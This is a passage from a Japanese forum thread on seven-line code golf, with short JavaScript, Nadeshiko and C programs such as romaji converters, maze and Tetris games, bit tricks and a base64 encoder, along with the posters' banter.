 ̄ ̄ ̄(_,ノ  ̄ ̄ヽ、_ノ ̄
530 :デフォルトの名無しさん :2007/07/31(火) 17:02:01
>>529
ちょw
スレタイを7回音読しろよw
531 :デフォルトの名無しさん :2007/07/31(火) 17:05:29 <:900234959>?S★(511224)
>>529からがんばっても10行にしかなりませんでした 難しいわorz
532 :デフォルトの名無しさん :2007/07/31(火) 19:11:57
クァ/qa
クァ/qwa
533 :524 :2007/07/31(火) 20:50:37
var A="xtu|ltu|kwa|ky|sw|sy|sh|tw|ty|th|ny|hy|my|ry|wh|gw|gy|zy|dw|dy|dh|by|"+
"py|qw|qy|fw|fy|jy|vy|cy|ch|xy|ly|k|s|t|n|h|m|y|r|w|g|z|d|b|p|q|f|j|v|c|x|l|"+
"a|i|u|e|o";var B="ッ|ッ|クァ|キy|スa|シy|シャ|シ|シュ|シェ|ショ|トa|チy|テy|ニy|ヒy|ミy|リy|ウァ|ウィ"+
"|ウ|ウェ|ウォ|グa|ギy|ジy|ドa|ヂy|デy|ビy|ピy|クa|キy|フa|フy|ジy|ヴy|チy|チャ|チ|チュ|チェ|"+
"チョ|y|y|カ@|サ@|タ@|ナ@|ハ@|マ@|ヤ|イ|ユ|イェ|ヨ|ラ@|ワ|ウィ|ウ|ウェ|ヲ|カ@゙|サ@゙|タ@゙|ハ@゙|ハ@゚|クァ|ク"+
"ィ|ク|クェ|クォ|ファ|フィ|フ|フェ|フォ|ジャ|ジ|ジュ|ジェ|ジョ|ヴァ|ヴィ|ヴ|ヴェ|ヴォ|カ|シ|ク|セ|コ|a|a"+
"|ア|イ|ウ|エ|オ";B=B.replace(/\|.@([゚゙]?)/g,function(e){var r="";for(var i=0;i<5;
i++)r+="|"+String.fromCharCode(e.charCodeAt(1)+i)+RegExp.$1;return r}).replace
(/([^\|]*)a\|/g,"$1ァ|$1ィ|$1ゥ|$1ェ|$1ォ|").replace(/([^\|]*)y\|/g,"$1ャ|$1ィ|$1ユ|"+
"$1ェ|$1ョ|").split("|");A=A.replace(/([^aiueo]{1,2})\|/g,"$1a|$1i|$1u|$1e|$1o|"
).split("|");var t=prompt().replace("nn","ン").replace(/([^aiueo])\1/g,"ッ$1").
replace(/n([^aiueo]|$)/g,"ン$1");for(var i=0;i<A.length;i++)t=t.replace(A[i],
B[i],"g");alert(t);
正規表現を使わないでやっていたが、なでしこのコードを参考にして13行。MS-IMEで出る字は大体出ると思うけど。
まだ冗長だなあ。
534 :デフォルトの名無しさん :2007/07/31(火) 21:52:50 <:960250368>?S★(511224)
S="";X="-|ltu|xtu|bb|cc|dd|ff|gg|hh|jj|kk|ll|mm|pp|qq|rr|ss|tt|vv|ww|xx|yy|zz|ye|dhu|shi|chi|tsu|fu|ji|";Y=空;Z=空;
M="ky|sy|ty|ny|hy|my|ry|gy|zy|by|py|sh|ch|j|y"を"|"で 区切;N="a|u|o"を"|"で区切;Mで反復,D=対象;Nで反復,YにD&対象を一行追加;
P="l|x|w|k|s|t|n|h|m|r|g|z|d|b|p"を"|"で区切;Q="a|i|u|e|o"を"|"で区切;Pで反復,E=対象;Qで反復,ZにE&対象を一行追加;
A="{Xを"|"で区切}{\n}{Y}{Z}nn{\n}n{\n}a{\n}i{\n}u{\n}e{\n}o";B=(("ー|ッ|ッ|ッb|ッc|ッd|ッf|ッg|ッh|ッj|ッk|ッl|ッm|ッp|ッq|ッr|ッs|ッt|ッv|ッw|ッx|ッy|ッz|イェ|デュ|シ|チ|ツ|
フ|ジ|キャ|キュ|キョ|シャ|シュ|ショ|チャ|チュ|チョ|ニャ|ニュ|ニョ|ヒャ|ヒュ|ヒョ|ミャ|ミュ|ミョ|リャ|リュ|リョ|ギャ|ギュ|ギョ|ジャ|ジュ|ジョ|ビャ|ビュ|ビョ|ピャ|ピュ|ピョ|シャ|シュ|ショ|チャ|チュ|チョ|
ジャ|ジュ|ジョ|ヤ|ユ|ヨ|ァ|ィ|ゥ|ェ|ォ|ァ|ィ|ゥ|ェ|ォ|ワ|ウィ|ウ|ウェ|ヲ|カ|キ|ク|ケ|コ|サ|シ|ス|セ|ソ|タ|チ|ツ|テ|ト|ナ|ニ|ヌ|ネ|ノ|ハ|ヒ|フ|ヘ|ホ|マ|ミ|ム|メ|モ|ラ|リ|ル|レ|ロ|ガ|ギ|グ|ゲ|ゴ|
ザ|ジ|ズ|ゼ|ゾ|ダ|ヂ|ヅ|デ|ド|バ|ビ|ブ|ベ|ボ|パ|ピ|プ|ペ|ポ|ン|ン|ア|イ|ウ|エ|オ")の改行を空に置換)を"|"で区切;Aで反復,S=Sの対象をB[回数-1]に置換;

>>533を参考にして苦しいがスレタイ通りに・・・(゚Д゚;)
535 :デフォルトの名無しさん :2007/07/31(火) 21:54:14
一行79文字が守られていません。お引取りください。
536 :デフォルトの名無しさん :2007/07/31(火) 21:54:48 <:360094436>?S★(511224)
\(^o^)/ ヽ ←さじ
537 :デフォルトの名無しさん :2007/07/31(火) 22:19:30
ソースコードをP2Pネットワークに置く
ソースコードのハッシュを算出する
ハッシュを元にソースコードをDLしてくる
  →事実上ソースコードはハッシュ文字数に圧縮される  ∩( ・ω・)∩ ばんざーい
538 :デフォルトの名無しさん :2007/07/31(火) 22:34:10 <:600156465>?S★(511224)
∩( ・ω・)∩ ばんざーい
539 :デフォルトの名無しさん :2007/07/31(火) 22:36:23
>>537
7行79桁でファイル共有ソフトを書けと。
540 :デフォルトの名無しさん :2007/07/31(火) 23:04:18 <:280073827>?S★(511224)
「∩( ・ω・)∩ banza-i」をローマ字半角カナ変換して言う。
●ローマ字半角カナ変換(Sの|Sを)
 経過ダイアログはオフ。
 A=((「http://isoroku.net/A.txt」をHTTPデータ取得)の改行を空に置換)を"|"で区切る。
 B=((「http://isoroku.net/B.txt」をHTTPデータ取得)の改行を空に置換)を"|"で区切る。
 Aで反復、S=Sの対象をB[回数-1]に置換。
 Sで戻る。

//∩( ・ω・)∩ ばんざーい
//orz
541 :デフォルトの名無しさん :2007/08/01(水) 03:10:59
>>525-526
疑似コードにしか見えんw
542 :デフォルトの名無しさん :2007/08/01(水) 08:49:44
日本語でプログラミング気持ち悪い
543 :デフォルトの名無しさん :2007/08/01(水) 15:08:00
>>540お前はアホか
544 :デフォルトの名無しさん :2007/08/01(水) 15:26:47
日本語でプログラミングはなしがいい
545 :デフォルトの名無しさん :2007/09/03(月) 14:33:17
保守
546 :デフォルトの名無しさん :2007/09/03(月) 14:40:00
データ外部に置いたらダメだろ
httpでプログラム取得、実行、というプログラムを書けば
汎用七行になってしまう
547 :デフォルトの名無しさん :2007/09/03(月) 14:41:49
httpでとってきて、evalか?

こええよw
548 :デフォルトの名無しさん :2007/09/03(月) 16:38:26
httpでとってきてCreateProcess
549 :デフォルトの名無しさん :2007/09/03(月) 18:44:35
>>547
JavaScript が怖くて常に OFF にしてるの?

サンドボックスがまともならそんなに怖くないかと
550 :デフォルトの名無しさん :2007/09/03(月) 18:45:58
実はperl
551 :デフォルトの名無しさん :2007/09/04(火) 02:51:01
実はzipとか
552 :デフォルトの名無しさん :2007/09/04(火) 02:59:15
ttp://www.amazon.co.jp/Short-Coding-~%E8%81%B7%E4%BA%BA%E9%81%94%E3%81%AE%E6%8A%80%E6%B3%95~-Ozy/dp/4839925232/ref=pd_bbs_sr_3/249-8159845-3310719?ie=UTF8&s=books&qid=1188842300&sr=8-3
中身見たこと無いけどこの本のことは話題にはならないのね。
553 :デフォルトの名無しさん :2007/09/04(火) 12:23:18
図書スレで話題になってたな
554 :デフォルトの名無しさん :2007/09/12(水) 20:08:51
>>553
どんな内容かおせーて
555 :デフォルトの名無しさん :2007/09/22(土) 00:10:16
トリッキースレがなくなってますね。
トリッキースレの後継スレみたいなのないのかな。

別のスレで出た話ですが、

int my_fputwc(wint_t c, FILE *fp)
{ wint_t r = fputwc(c, fp);
return (r == WEOF) ? EOF : r;
}

int wtbl[0x10000];
void dokkade_jikkou(void ) {
int i;
for (i = 0; i < 0x10000; i++)
wtbl[i] = i;
wtbl[0xffff] = EOF;
}
int my_fputwc(wint_t c, FILE *fp) return wtbl[fputwc(c, fp);]; }

みたいなこと(WEOF(wint_tの0xffff)をEOF(intの-1)に変換)
をもっとスマートに行う方法ないですかね。
556 :デフォルトの名無しさん :2007/09/22(土) 00:37:10
インラインアセンブラが使え無い言語は
基本的に劣っていると考えたい・・・
557 :デフォルトの名無しさん :2007/09/22(土) 01:01:47
適当に書いてみた。スマートなのかも、速いのかもよくわからん。反省はしてない。
int my_fputwc(wint_t c, FILE *fp)
{
  wint_t r = fputwc(c, fp);
  return ((!(r ^ 0xffff)) * EOF) | r;
}
558 :デフォルトの名無しさん :2007/09/22(土) 01:04:03
エラー デバッグ ブラウザ ツール
http://www.mozilla-japan.org/
シンプル プログミング ツール
http://proforceone.web.fc2.com/
素因数分解サンプルプログラム
Calculation processing にコピーして[RUN]

A=2*3*5*11*13*17*19;
x=A;write(" "+x+" ⇒");
for(i=2;x>=i;i++){if(0==x%i){k=0;
 for(j=2;(i>=j)&&(1>=k);j++){
  if(0==i%j){k++;}
 } if(1==k){write(" "+i);}
}}
559 :デフォルトの名無しさん :2007/09/22(土) 14:40:32
>>555
どう考えてもfputwcが重すぎで大差ない気がするが
int my_fputwc(wint_t c, FILE *fp)
{ wint_t r = fputwc(c, fp);
return (~r + 0xFFFF&0xFFFF0000)^r;
}
560 :デフォルトの名無しさん :2007/10/14(日) 21:43:13
保守
561 :デフォルトの名無しさん :2007/11/14(水) 22:52:05
保守
562 :デフォルトの名無しさん :2007/11/14(水) 23:09:49
なんかネタないかね
563 :デフォルトの名無しさん :2007/11/15(木) 04:38:01
echoサーバとか
564 :デフォルトの名無しさん :2007/11/15(木) 04:41:30
10 OPEN "COM1:" FOR INPUT AS #1
20 LINE INPUT #1, A$
30 PRINT #1, A$
40 IF NOT EOF(1) THEN GOTO 20
50 CLOSE #1
60 END
70
565 :デフォルトの名無しさん :2007/11/17(土) 08:34:20
[,.]

4文字v
566 :デフォルトの名無しさん :2007/11/17(土) 12:01:10
>>565
これなに?
567 :デフォルトの名無しさん :2007/11/17(土) 13:46:53
入力したものを出力するだけのプログラムなんじゃない?
568 :デフォルトの名無しさん :2007/11/17(土) 13:57:06
何もしないで戻るような気がする
569 :デフォルトの名無しさん :2007/11/17(土) 14:27:16
これTCP? ポートってデフォルトは何番になるの?
570 :デフォルトの名無しさん :2007/11/18(日) 01:00:54
>>565はBFのコードだろ?
571 :デフォルトの名無しさん :2007/11/18(日) 03:11:21
>>565
そりゃただのechoコマンドじゃないか。
572 :デフォルトの名無しさん :2007/11/19(月) 19:24:25
>>569
TCP/UDP 7
573 :デフォルトの名無しさん :2007/11/19(月) 19:31:43
RFC 3091 "Pi Digit Generation Protocol" のサーバーとかどうだろう。
574 :デフォルトの名無しさん :2007/11/19(月) 23:16:44
lispで何か書こうかな。。。。


もしかして過疎?
575 :デフォルトの名無しさん :2007/11/19(月) 23:27:59
187byte スロットはスレ違い?
576 :デフォルトの名無しさん :2007/11/19(月) 23:30:57
>>575
とりあえず書いてけよ。
577 :デフォルトの名無しさん :2007/11/19(月) 23:55:55
つ <body onload=n=[1,b=2,x=3];setInterval('for(i=3;b<i--;)if(i<x)n[2-i]+=n[2-i]-7?1:-6;b+=b?-1:2;document.body.innerHTML=x?n:n+(n[0]-n[1]|n[1]-n[2]?"\\nx":"\\no")',50) onmousedown=x+=x?-1:3>


誰かもっと削ってー
578 :デフォルトの名無しさん :2007/11/20(火) 18:47:23
スルーとはお前らなかなかやってくれるなw
でもやっぱりスレチだよな。ゲ製に投下してくる
579 :デフォルトの名無しさん :2007/11/20(火) 18:50:49
>>577
スルーしたわけじゃないんだ。
ちょっと分野が違った。
すまね。
580 :デフォルトの名無しさん :2007/11/20(火) 20:12:05
俺は1時間くらい考えてみたけど <body id=B くらいしか思いつかなかった
あとは表示が 1,2,3,x になってもいいならn=[1,b=2,x=3,"\\n"]とするとか
581 :デフォルトの名無しさん :2007/11/20(火) 21:17:33
>>579
あっちで好評だったからもう気にしないんだぜw


>>580
考えてくれてたのかサンクス
なるほど、id=B はまったく思い付かなかった。コンマも気にしないからやってみたら
n=[1,b=2,x=3,"\n"]; ってエスケープ1つで動いた

これで結局 179Byte wwwこれ以上は想像もつかんw
ああ、 onclick はなんとなくタブーねww
582 :デフォルトの名無しさん :2007/11/21(水) 00:16:20
何をするスクリプト?
583 :デフォルトの名無しさん :2007/11/21(水) 00:21:47
>>582
使ってみるがよろし。
584 :デフォルトの名無しさん :2007/11/21(水) 00:34:49
PCが見知らぬ動きをはじめた・・・!
585 :デフォルトの名無しさん :2007/11/21(水) 00:49:34
n[0]-n[1]|n[1]-n[2]
n[0]*6-n[1]*5-n[2]
n[2-i]+=n[2-i]-7?1:-6;
n[2-i]=n[2-i]%7+1;

n[0]*6-n[1]*5-n[2]はちゃんと動くか分からん
586 :デフォルトの名無しさん :2007/11/21(水) 01:05:20
>>585
上のは [2,1,7] で誤作動しますね
下のは (; Д )゚ ゚
587 :デフォルトの名無しさん :2007/11/21(水) 01:15:21
n[0]*7-n[1]*6-n[2]
だと大丈夫?
588 :デフォルトの名無しさん :2007/11/21(水) 01:23:00
動かしたけどさっぱり
最後の桁がぐるぐる回り続けてるだけだった
589 :デフォルトの名無しさん :2007/11/21(水) 01:24:21
素晴らしい。
いま 174Byte ですか。まだまだ削れそうな気がしてきました
590 :デフォルトの名無しさん :2007/11/21(水) 01:30:39
>>588
<body id=B onload=n=[1,b=2,x=3,"\n"];setInterval('for(i=3;b<i--;)if(i<x)n[2-i]=n[2-i]%7+1;b+=b?-1:2;B.innerHTML=x?n:n+(n[0]*7-n[1]*6-n[2]?"x":"o")',50) onmousedown=x+=x?-1:3>
これで動かないか?
591 :デフォルトの名無しさん :2007/11/21(水) 01:34:08
>>590
うごく
592 :デフォルトの名無しさん :2007/11/21(水) 02:05:57
ああ、わかった
B使うとかあらゆる意味で邪道だな
クソだ
593 :デフォルトの名無しさん :2007/11/21(水) 08:26:49
グローバル使わないでって火狐は怒るだろうな
594 :デフォルトの名無しさん :2007/11/21(水) 08:49:45
HTMLで短くするのなんてナンセンスだよ
onload=""って括ってないとか、<title>タグが無いとか、
innerHTMLで配列を代入とか、仕様違反が多すぎる。
595 :デフォルトの名無しさん :2007/11/21(水) 09:00:48
titleを指摘する前に、htmlなのにhtml要素がないことに突っ込めw
596 :デフォルトの名無しさん :2007/11/21(水) 09:09:20
htmlタグはHTML4では省略可能なので別になくていい
そもそもDTD宣言がないからHTML4かどうかもわからないんだけどな
597 :デフォルトの名無しさん :2007/11/21(水) 09:27:11
>>594
配列は toString メソッドが暗黙に呼び出されて文字列になる
598 :デフォルトの名無しさん :2007/11/21(水) 15:55:51
>>597
そもそもinnerHTMLが仕様にないので、暗黙的にtoStringが呼ばれるとは限らない
しかしArrayのtoStringの仕様がjoinだとはしらなんだ
599 :デフォルトの名無しさん :2007/11/21(水) 16:45:57
そもそもここは標準規格に適合しないといけないスレじゃないだろ。
600 :デフォルトの名無しさん :2007/11/21(水) 16:53:46
むしろ仕様と戦うスレ
601 :デフォルトの名無しさん :2007/11/21(水) 17:37:33
メモリ破壊しようと環境依存しまくりだろうと動けば正義
602 :デフォルトの名無しさん :2007/11/21(水) 18:58:08
クズ呼ばわりされるけどなw
PartIでincludeは1行じゃない、ってほざいてた奴らいたなぁ
603 :デフォルトの名無しさん :2007/11/21(水) 22:16:04
>>594
それだとcを短くするのもナンセンスだよね。
return消して ファイルクローズ消して そのたもろもろ.
604 :デフォルトの名無しさん :2007/11/21(水) 22:31:46
それは別問題だろ
Cで言ったら鼻から悪魔系のナンセンスだよ
605 :デフォルトの名無しさん :2007/11/21(水) 22:33:45
>>604
鼻から悪魔久しぶりに聞いたw。
606 :デフォルトの名無しさん :2007/11/21(水) 22:44:22
>>605
俺も久しぶりに言ったので最初鼻から牛乳って書いちゃった
あれ?なんか違うな、みたいな
607 :デフォルトの名無しさん :2007/11/21(水) 22:55:44
CはANSI仕様に沿っていれば評価されてたね
パート1の作者達はreturnもしていればメモリ解放もしてるからこそ
鉄壁の評価を得ていたわけだし

60さんとか、まだここ見てないかな
608 :デフォルトの名無しさん :2007/11/24(土) 01:33:38
鼻から悪魔吹いたw
元ネタなんだっけ?
609 :デフォルトの名無しさん :2007/11/24(土) 01:42:51
>>608
610 :デフォルトの名無しさん :2007/11/24(土) 18:16:02
>>604
>鼻から悪魔

comp.std.c 発祥みたいね
devils じゃなくて demons なんだ

"demons fly out of your nose”
http://www.catb.org/jargon/html/N/nasal-demons.html
611 :デフォルトの名無しさん :2007/11/24(土) 18:50:17
俺は鼻から牛乳に吹いた。
612 :デフォルトの名無しさん :2007/11/24(土) 19:49:15
int main(void){
  printf("Hello World");
  return; ←ここで鼻から牛乳が噴出す
}
613 :デフォルトの名無しさん :2007/11/24(土) 23:45:31
>>612
C99では噴出さない
614 :デフォルトの名無しさん :2007/11/25(日) 00:01:18
>>613
かくのわすれrてた
615 :デフォルトの名無しさん :2007/11/25(日) 23:36:44
    ブ―――ッ!!
 /     ヽ
-―ニ二二二二ニ>、
ァ  /ィ=-_ _ト-、)
( Y ー==j〈二゙i )
ゝ i - r ヾ"^j )。
(  )  `- ≦三。゚・
ゞ ∧ヾ ゝ゚  ≦三゚。    ∧_∧
(_/ ヽ゚≧    三=- ,´\(´∀`)/ ヽ
/|ヽ \ァ    ≧-ノソリ⊂   ⊃ ,从
 | \ イレ、   >=   (,,ノ,,ノ
 |  ≦Vヾ  ヾ≧  彡
 〉 く。゚/。イハ 、、ミ。゚
616 :デフォルトの名無しさん :2007/11/26(月) 07:46:43
    ブ―――ッ!!
 /     ヽ
-―ニ二二二二ニ>、
ァ  /ィ=-_ _ト-、)
( Y ー==j〈二゙i )
ゝ i - r ヾ"^j )。
(  )  `- ≦三。゚・
ゞ ∧ヾ ゝ゚  ≦三゚。    ∧_∧
(_/ ヽ゚≧    三=- ,´\(´∀`)/ ヽ
/|ヽ \ァ    ≧-ノソリ⊂   ⊃ ,从
 | \ イレ、   >=   (,,ノ,,ノ
 |  ≦Vヾ  ヾ≧  彡
 〉 く。゚/。イハ 、、ミ。゚
617 :デフォルトの名無しさん :2007/11/26(月) 22:05:18
    ブ―――ッ!!
 /     ヽ
-―ニ二二二二ニ>、
ァ  /ィ=-_ _ト-、)
( Y ー==j〈二゙i )
ゝ i - r ヾ"^j )。
(  )  `- ≦三。゚・
ゞ ∧ヾ ゝ゚  ≦三゚。    ∧_∧
(_/ ヽ゚≧    三=- ,´\(´∀`)/ ヽ
/|ヽ \ァ    ≧-ノソリ⊂   ⊃ ,从
 | \ イレ、   >=   (,,ノ,,ノ
 |  ≦Vヾ  ヾ≧  彡
 〉 く。゚/。イハ 、、ミ。゚
618 :デフォルトの名無しさん :2007/11/27(火) 23:58:36
くだらね
619 :デフォルトの名無しさん :2007/11/28(水) 16:22:50
    ブ―――ッ!!
 /     ヽ
-―ニ二二二二ニ>、
ァ  /ィ=-_ _ト-、)
( Y ー==j〈二゙i )
ゝ i - r ヾ"^j )。
(  )  `- ≦三。゚・
ゞ ∧ヾ ゝ゚  ≦三゚。    ∧_∧
(_/ ヽ゚≧    三=- ,´\(´∀`)/ ヽ
/|ヽ \ァ    ≧-ノソリ⊂   ⊃ ,从
 | \ イレ、   >=   (,,ノ,,ノ
 |  ≦Vヾ  ヾ≧  彡
 〉 く。゚/。イハ 、、ミ。゚
620 :デフォルトの名無しさん :2007/11/28(水) 17:19:47
ほんとくだらないな
621 :デフォルトの名無しさん :2007/11/28(水) 17:21:23
7行で書けよ
622 :デフォルトの名無しさん :2007/11/28(水) 17:30:50
    ブ―――ッ!!
 /     ヽ
-―ニ二二二二ニ>、
ァ  /ィ=-_ _ト-、)
( Y ー==j〈二゙i )
ゝ i - r ヾ"^j )。
(  )  `- ≦三。゚・
623 :デフォルトの名無しさん :2007/12/18(火) 15:39:42
ocn
サー
バー
規制
解除
記念
624 :デフォルトの名無しさん :2007/12/18(火) 16:09:59
ocn
test
625 :デフォルトの名無しさん :2007/12/18(火) 21:09:46
俺もテストw
626 :デフォルトの名無しさん :2007/12/23(日) 04:35:43
このスレ見つけたら何か作りたくなったので作ってみたーよ。
初めてやってみたので何かルールが違ったらごめんなさい。

<body onkeydown=C()><pre id=z><script>s=99;v=16;p={};F=Math.floor;t=u=s-1;for(i
=s*s;i>0;p[--i]=0);for(;i++<s*s;)if(i%s%2==1&&F(i/s)%2==1){while(p[j=i+((r=F(4*
Math.random())-2)%2?r*s:r+1)]);p[i]=p[j]=1;}B();function B(){o=v/2-1;k="";for(i
=0;i<v*v;i++)m=i%v-o+t,n=F(i/v)-o+u,k+=i%v==0?"\n":"",k+=D(m,n)?m==t&&n==u?"自"
:!m&&!n?"終":p[m+n*s]?"■":" ":"■";z.innerText=k}function C(){c=event.keyCode
-37;if(c>=0&&c<=3){m=t;n=u;c%2?n+=c-2:m+=c-1;if(D(m,n)&&!p[m+n*s])t=m,u=n;B();if
(!t&&!u)alert("end")}}function D(m,n){return m>=0&&n>=0&&m<s&&n<s}</script>

散々既出な気がするHTMLの迷路ゲーム。IE6/IE7でのみ動作確認。
一行目の「s=99」がマップの広さ(奇数指定)、「v=16」が可視範囲(偶数指定)。
右下スタートの左上ゴール。
迷路作成は収めるためにかなり適当。なので正解路は一本じゃない。

徐々にソースを縮めてくのが面白いですね。
627 :デフォルトの名無しさん :2007/12/23(日) 13:26:10
おおお。
面白いけど、firefoxじゃダメなのかな?
628 :デフォルトの名無しさん :2007/12/23(日) 15:36:10
多分event.keyCodeあたりがIE限定くさい
629 :デフォルトの名無しさん :2007/12/23(日) 20:10:42
>>626
z.innerText=k → z.innerHTML=k
onkeydown=C() → onkeydown=C(event)
function C() → function C(e)
c=event.keyCode → c=e.keyCode
に修正すれば一応Firefoxでも動いた。ただしJavaScriptコンソールは見ちゃダメ
詰めれば一応7行×79文字にもなる。
630 :デフォルトの名無しさん :2007/12/23(日) 21:25:28
やべえこれ 乙だぜ
631 :デフォルトの名無しさん :2007/12/23(日) 23:03:41
<body style="font:1em monospace" onload='D=function(m,n){return m>=0&&n>=0&&m<s
&&n<s};s=99;v=16;p={};F=Math.floor;t=u=s-1;for(i=s*s;i>0;p[--i]=0);for(;i++<s*s
;)if(i%s%2==1&&F(i/s)%2==1){while(p[j=i+((r=F(4*Math.random())-2)%2?r*s:r+1)]);
p[i]=p[j]=1;};B = function(k){o=v/2-1;for(i=0;i<v*v;i++)m=i%v-o+t,n=F(i/v)-o+u,
k+=i%v==0?"<br>":"",k+=D(m,n)?m==t&&n==u?"自":!m&&!n?"終":p[m+n*s]?"■":" ":"■";
document.body.innerHTML=k};B("")' onkeydown="c=event.keyCode-37;if(c>=0&&c<=3){
m=t;n=u;c%2?n+=c-2:m+=c-1;if(D(m,n)&&!p[m+n*s])t=m,u=n;B(!t&&!u?'end':'')}">
632 :デフォルトの名無しさん :2007/12/24(月) 00:23:26
<body style="font:1em monospace"onload='D=function(m,n){return m>=0&&n>=0&&m<s
&&n<s};s=13;v=28;p={};F=Math.floor;t=u=s-1;for(i=s*s;i>0;p[--i]=0);for(;i++<s*
s;)if(i%s%2*F(i/s)%2==1){while(p[j=i+((r=F(4*Math.random())-2)%2?r*s:r+1)]);p[
i]=p[j]=1;};B=function(k){o=v/2-1;for(i=0;i<v*v;i++)m=i%v-o+t,n=F(i/v)-o+u,k+=
i%v==0?"<br>":"",k+=D(m,n)?m==t&&n==u?"自":!m&&!n?"終":p[m+n*s]?"■":" ":"■"
b.innerHTML=k};B("")'onkeydown="c=event.keyCode-37;if(c>=0&&c<=3){m=t;n=u;c%2?
n+=c-2:m+=c-1;if(D(m,n)&&!p[m+n*s])t=m,u=n;B(!t&&!u?'end':'')}"id=b>

1行79文字で。
>i%s%2==1&&F(i/s)%2==1
両方とも1なら掛けても1じゃないか?と思って
>i%s%2*F(i/s)%2==1
としてみたのだけどどうだろう?
633 :デフォルトの名無しさん :2007/12/24(月) 00:52:23
グローバル使うの汚い
634 :デフォルトの名無しさん :2007/12/24(月) 01:48:56
おお
これ凄いな
635 :デフォルトの名無しさん :2007/12/24(月) 18:58:34
なんかまた七行テトリスに手が加えられているらしいな

いくつかバージョンがありますが、最新版(2006/10/17)より。
http://www.geocities.jp/nanagyou/list.html#tetris
http://geocities.yahoo.co.jp/gl/nanagyou/

あの565バイトテトリスが、ついに500バイトを切った!
http://zapanet.info/blog/item/1130

Cozy Ozy 2007-11-04 482バイトテトリス
http://d.hatena.ne.jp/Ozy/20071104#p1

ついでに ぷよ も
http://pascal.wanderers.jp/puyo/JavaScript/
636 : ◆iicafiaxus :2007/12/24(月) 21:24:59
<title></title><body onkeydown="D(event.keyCode-37)"><pre id=P></pre><script>p=
{};for(R=Math.random,F=Math.floor,Z=10,f=i=Q=100,H=16,n="\r\n",W="□",X=" ";i;
p[--i]=(i<Z?H:89<i?H:i%Z?i%Z-9?0:H:H));for(p[a=88]=8;f;)for(p[i=F(R()*Q)]&H|p[j
=i+((d=F(R()*2)+1)*9-8)]&H?0:7<(p[i]^p[j])?(p[i]|=d|8,p[j]|=8):0,f=k=0;k<Q;f|=(
p[k++]<8));function D(c){for(c&-4?0:a+=(c&1?(p[a+c*5-15]&2)*(c*5-Z):(p[a+c/2-1]
&1)*(c-1)),t=v=i=n;i<Q;t+=(i-11?q&H?W:i-a?X:"@":a-11?"$":"終")+(q&1?X:W),v+=(
q&2?X:W)+W,++i%Z?0:(t+=v+n,v=n))q=p[+i];P.innerText=P.innerHTML=t}D(2)</script>

正解の道が一通りになるように改造してみたらぴったり7×79になった
FirefoxとIE両方で確認
637 : ◆EZ4MK1.tr. :2007/12/24(月) 21:35:43
<body id=D onKeyDown=K=event.keyCode-38 onload='Z=X=[B=A=12];Y=function(){for(C
=[q=c=i=4];f=i--*K;c-=!Z[h+(K+6?p+K:C[i]=p*A-(p/9|0)*145)])p=B[i];for(c?0:K+6?h
+=K:t?B=C:0;i=K=q--;f+=Z[A+p])k=X[p=h+B[q]]=1;h+=A;if(f|B)for(Z=X,X=[l=228],B=[
[-7,-20,6,h=17,-9,3,3][t=++t%7]-4,0,1,t-6?-A:2];l--;)for(l%A?l-=l%A*!Z[l]:(P+=
k++,c=l+=A);--c>A;)Z[c]=Z[c-A];for(S="";i<240;S+=X[i]|(X[i]=Z[i]|=++i%A<2|i>228
)?i%A?"■":"■<br>":"_");D.innerHTML=S+P;Z[5]||setTimeout(Y,i-P)};Y(h=K=t=P=0)'

>>635
6行になりますた
638 :デフォルトの名無しさん :2007/12/24(月) 21:46:18
titleもしっかり入れちゃうところがにくいね
639 :デフォルトの名無しさん :2007/12/24(月) 22:02:36
やっぱ onload は強いな
640 :デフォルトの名無しさん :2007/12/27(木) 01:59:43
<title></title><body onkeydown="D(event.keyCode-37)"><pre id=P></pre><script>p=
[n="\r\n",W="□",X=" "];for(R=Math.random,F=Math.floor,U=Y=Z=(V=8)*2,f=k=Q=U++
*Y--;k;p[--k]=(k<Z|Q-Z<k?8:k%Z&&k%Z-Y?0:8));for(p[a=Q-Z-2]=4;f;)for(p[i=F(R()*Q
)]&8|p[d=F(R()*2),j=i+d*Y+1]&8?0:3<(p[i]^p[j])?(p[i]|=1+d|4,p[j]|=4):0,f=k=0;k<
Q;f|=p[k++]<4);function D(c){for(c&-4?0:a+=(c&1?(p[a+c*V-Z-V]&2)*(c*V-Z):(p[a+c
/2-1]&1)*--c),t=v=i=n;i<Q;t+=(i-U?q&8?W:i-a?X:"@":a-U?"$":"終")+(q&1?X:W),v+=
(q&2?X:W)+W,++i%Z?0:t+=v+(v=n))q=p[+i];P.innerText=P.innerHTML=t}D(2)</script>

>>636だけどなぜか p[k] の 4 のビットが使ってなかったりとか
無駄な括弧とかいろいろ削る余地があったので修正
迷路のサイズが可変になった(2行目の V=8 の 8 を変更すると変わる)
641 :デフォルトの名無しさん :2008/01/04(金) 20:49:26
lispってあり?
642 :デフォルトの名無しさん :2008/01/04(金) 21:05:42
>>641
>>1
643 :デフォルトの名無しさん :2008/01/04(金) 22:23:36
7行で坊ちゃんを作ったんだけど書いてもいいよね?
著作権はもう切れてるし
644 :デフォルトの名無しさん :2008/01/04(金) 22:54:04
>>643
いいよ。
645 :デフォルトの名無しさん :2008/01/05(土) 03:51:44
>>643
wktk
646 :デフォルトの名無しさん :2008/01/05(土) 14:29:20
>>643
wkwktktk
647 :デフォルトの名無しさん :2008/01/05(土) 19:40:09
俺なんか二行でできたよ

<title></title><body onload="location.href='http://www.aozora.gr.jp/cards/0001'+
'48/files/752_14964.html'">
648 :デフォルトの名無しさん :2008/01/05(土) 23:08:38
7行で坊ちゃんを作ったんだけど書いてもいいよね?
    〜〜〜〜〜〜〜
649 :デフォルトの名無しさん :2008/01/09(水) 18:30:12
#include <stdio.h>
#include <windows.h>
main(){int x,y,z;
for(z=0;z<32;z++){for(y=0;y<32;y++){
for(x=0;x<32;x++)printf(x&y&z?"..":"■");
printf("\n");}Sleep(200);system("cls");}}
650 :デフォルトの名無しさん :2008/01/10(木) 03:44:28
若干縮んだ

#include <stdio.h>
#include <windows.h>
main(x){
 for(x=0;x<32768;
  printf((x>>10)&(x>>5)&x&31?"..":"■"),
  ++x&31||printf("\n"),
  x&1023||(Sleep(200),system("cls")));
}
651 :デフォルトの名無しさん :2008/01/13(日) 17:15:41
base64にエンコードする

<script>a="abcdefghijklmnopqrstuvwxyz";c=a.toUpperCase()+a+"0123456789+/";
onload=function(){document.write(e(prompt("","")));}
function f(b){return c.charAt(b);}function e(k){r="";i=0;l=k.length;while(i<l){
x=k.charCodeAt(i++) & 0xff;if(i==l){r+=f(x>>2);r+=f((x&0x3)<<4);r += "==";
